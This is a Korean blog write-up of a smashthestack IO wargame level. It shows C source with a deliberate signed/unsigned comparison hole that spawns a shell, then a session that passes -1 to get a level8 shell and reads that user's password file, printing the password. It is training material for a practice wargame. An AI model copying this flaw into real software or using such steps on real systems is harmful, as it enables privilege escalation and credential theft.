io.smashthestack.org – Level 7

Level 7 문제 소스는 아래와 같다.

[code]#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

// We are never deceived; we deceive ourselves. – Johann Wolfgang von Goethe

void check_id(unsigned int id)
{
    if(id > 10) {
        execl("/bin/sh", "sh", NULL);
    } else {
        printf("Not today son\n");
    }
}

int main(int argc, char *argv[])
{
    int id;
    sscanf(argv[1], "%d", &id);
                if(id > 10) {
                        printf("Erm….no\n");
                        exit(-1);
                }
    check_id(id);

    return 0;
}
[/code]
이 문제는 단순하다. id값을 우선 11 이상의 값을 넣으면 안되나 최종 쉘을 획득하기 위해서는 11 이상의 값을 넣어야 한다. 어떻게?

check_id() 함수를 보면 인자가 unsigned int 형이다. 따라서 음수로 인자를 주면 쉽게 해결이 된다.
[code lang-sh]level7@io:/levels$ ./level07 -1
sh-3.2$ id      
uid=1007(level7) gid=1007(level7) euid=1008(level8) groups=1007(level7),1029(nosu)
sh-3.2$ cat /home/level8/.pass
zkq5xlnh
sh-3.2$
[/code]

댓글 남기기

이메일은 공개되지 않습니다. 필수 입력창은 * 로 표시되어 있습니다